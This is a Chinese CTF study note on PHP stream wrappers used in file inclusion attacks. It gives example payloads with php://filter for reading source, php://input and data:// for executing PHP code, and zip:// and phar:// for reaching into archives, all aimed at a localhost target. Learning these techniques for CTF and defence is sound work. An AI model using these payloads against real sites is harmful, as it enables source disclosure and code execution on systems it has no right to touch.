php伪协议
我们在ctf中可能遇到的包含函数
1 2 3 4 5 6 7 8 9 10 11
| include( ) require( ) include_once( ) require_once( ) highlight_file( ) show_source( ) readfile( ) file_get_contents( ) fopen( ) file( )
|
PHP伪协议其实就是支持的协议和封装协议,有12种:
1 2 3 4 5 6 7 8 9 10 11 12
| file:// ——访问本地文件 http://——访问HTTP(s)网址 ftp://——访问FTP(s)URLs php://——访问各个输入或输出流(I/O streams) zlib://——压缩流 data://——数据(RFC2397) glob://——查找匹配的文件路径模式 phar://——PHP归档 ssh2://——Secure Shell2 rar://——RAR ogg://——音频流 expect://——处理交互的流
|
file://
file://用于读取本地文件,不受allow_url_fopen和allow_url_include影响
file://[文件的绝对路径和文件名]
1 2
| http://127.0.0.1/index.php?file=file://D:/soft/xiaocheng.txt
|
[文件的相对路径和文件名]
1 2
| http://127.0.0.1/index.php?file=./xioacheng.txt
|
http://网络路径和文件名
1 2
| http://127.0.0.1/xioacheng.txt
|
php://
php://用于访问各个输入/输出流(I/O streams),不受allow_url_fopen影响
1 2 3
| php://filter 用于读取源码 php://input 用于执行php代码
|
使用上面两种格式的php伪协议格式时,需要allow_url_include是on
常用php://filter读取文件源码的格式(针对php文件需要base64编码):
1 2
| php://filter/read=convert.base64-encode/resource=[文件名](如果文件内容非php语法,则输出源码内容,如果是php语法,则执行php代码)
|
常用php://input执行php代码的格式(输入的php代码部分需要post提交)
1 2
| php://input[POST DATA]<?php phpinfo(); ?>
|
zip://协议&bzaip2://协议&zlib://协议
zip://协议&bzaip2://协议&zlib://协议都属于压缩流,可以用来访问压缩文件中的子文件,而且不需要指定文件名后缀,可修改为任意后缀
zip://[压缩文件的绝对路径]%23[压缩文件内的子文件名](#编码%23)
1 2
| zip://D:\www\xiaocheng.zip%23cheng.txt
|
compress.bzip2://file.bz2压缩xiaocheng.txt为xiaocheng.bz2并上传(同样支持任意后缀名)
1 2
| compress.bzip2://D:\www\xioacheng.bz2
|
compress.zlib://file.gz压缩xiaocheng.txt为xiaocheng.gz并上传(同样支持任意后缀名)
1
| compress.zlib://D:\www\xiaocheng.gz
|
data://协议
data://协议可以执行php代码,但是需要allow_url_include和allow_url_fopen是on的,也可以写入文本数据
data://协议常用的格式:
1
| data://text/plain,<?php phpinfo(); ?>
|
其它格式:
1 2 3 4 5 6 7 8 9 10 11 12
| data://,<文本数据>
data://text/plain,<文本数据>
data://text/html,<html代码>
data://text/css,<CSS代码>
data://text/javascript,<js代码>
data://text/gif;base24,<base24编码的gif图片数据>
|
phar://协议
phar://协议可以访问zip格式压缩包内容
1
| http://127.0.0.1/index.php?file=phar://D:\www\xiaocheng.zip\xioacheng.txt
|
详细请看:https://segmentfault.com/a/1190000018991087
https://www.jianshu.com/p/2fce6931dd06